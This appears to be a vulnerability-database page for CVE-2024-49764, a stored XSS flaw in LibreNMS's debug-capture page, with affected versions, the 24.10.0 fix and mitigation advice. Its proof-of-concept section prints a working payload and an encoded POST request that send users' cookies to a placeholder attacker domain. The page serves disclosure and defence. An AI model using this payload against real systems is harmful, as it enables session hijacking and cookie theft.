CVE-2024-49764 is a medium-severity (CVSS 4.8) Cross-site Scripting (XSS) vulnerability in librenms/librenms. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for librenms/librenms — see the affected versions and patch details below.
LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/capture.inc.php
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-49764.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
librenms/librenmsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the "Capture Debug Information" page allows authenticated users to inject arbitrary JavaScript through the "hostname" parameter when creating a new device. This vulnerability results in the execution of malicious code when the "Capture Debug Information" page is visited, redirecting the user and sending non-httponly cookies to an attacker-controlled domain.
Details
When creating a new device, an attacker can inject the following XSS payload into the "hostname" parameter:
test'" autofocus onfocus="document.location='https://<attacker_domain>/logger.php?c='+document.cookie"
(Note: You may need to URL-encode the '+' sign in the payload.)
The payload triggers automatically when visiting the "Capture Debug Information" page for the device, redirecting the user's browser to the attacker-controlled domain along with any non-httponly cookies.
The vulnerability is due to insufficient sanitization of the "url" variable before it is output in the HTML. This is evident in the following lines of code:
PoC
- Create a new device with the following payload in the "hostname" parameter:
test'" autofocus onfocus="document.location='https://<attacker_domain>/logger.php?c='+document.cookie"
- Save the device.
- Navigate to the "Capture Debug Information" page for the device.
- Observe that the injected script triggers and redirects the user to the attacker's domain, sending cookies.
Example Request:
POST /addhost HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded
Cookie: <your_cookie>
_token=<your_token>&hostname=test%27%22+autofocus+onfocus%3D%22document.location%3D%27https%3A%2F%2F<attacker_domain>%2Flogger.php%3Fc%3D%27%2bdocument.cookie%22&snmp=on&sysName=&hardware=&os=&os_id=&snmpver=v2c&port=&transport=udp&port_assoc_mode=ifIndex&community=&authlevel=noAuthNoPriv&authname=&authpass=&authalgo=SHA&cryptopass=&cryptoalgo=AES&force_add=on&Submit=
Impact
This vulnerability allows authenticated users to execute arbitrary JavaScript in the context of other users' sessions when they visit the "Capture Debug Information" page of the device. The attacker can redirect the user to a malicious domain and capture non-httponly cookies, potentially compromising the user's account and allowing unauthorized actions.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | librenms/librenms | all versions | 24.10.0composer require librenms/librenms:^24.10.0 |
Affected Products
librenmslibrenmsResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for librenms/librenms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update librenms/librenms to 24.10.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-49764 is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is CVE-2024-49764 in your dependencies?
Find it across Packagist, including transitive dependencies.